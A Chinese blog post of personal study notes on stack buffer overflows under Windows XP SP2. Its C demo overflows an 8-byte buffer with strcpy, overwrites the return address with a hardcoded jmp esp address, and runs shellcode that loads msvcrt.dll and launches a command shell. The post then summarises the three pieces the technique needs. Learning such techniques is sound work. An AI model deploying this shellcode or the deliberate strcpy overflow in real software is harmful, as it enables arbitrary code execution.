• 缓冲区溢出学习笔记 二


    由于一直不知道xpsp2下 jmp esp的地址,找了好久才在看雪学院的一个帖子上看到一个例子。

    测试了一下,由于vc6.0启用数据执行保护,我也不清楚我溢出利用是否成功。

    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
     char shellcode[] =
      "\x41\x41\x41\x41"
      "\x41\x41\x41\x41"
      "\x41\x41\x41\x41"
      "\x12\x45\xFA\x7F"
      "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
      "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
      "\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
      "\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
      "\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
      "\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
      "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
      "\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";

     
    int main()
    {  char overflow[8] ;

      strcpy(overflow,shellcode);

      return 0;
    }

    不过原理都是一样,现在总结一下规律。

    1.有问题程序返回点的精确位置--我们可以把它覆盖成任意地址。

    2.Shellcode----一个提供给我们想要的功能的代码。

    3。JMP ESP的地址--把返回点覆盖JMP ESP的地址,这样可跳入ShellCode

  • 相关阅读:

    Elaxia的路线
    Sessions in BSU
    Mouse Hunt
    清北学堂 NOIP2017模拟赛 越赛越心塞
    BZOJ3571 HNOI2014 画框
    BZOJ4817 SDOI2017 相关分析
    BZOJ4009 HNOI2015 接水果
    CDQ分治与整体二分小结
    BZOJ3110 ZJOI2013 K大数查询
  • 原文地址:https://www.cnblogs.com/feng801/p/1247871.html
Copyright © 2020-2023  润新知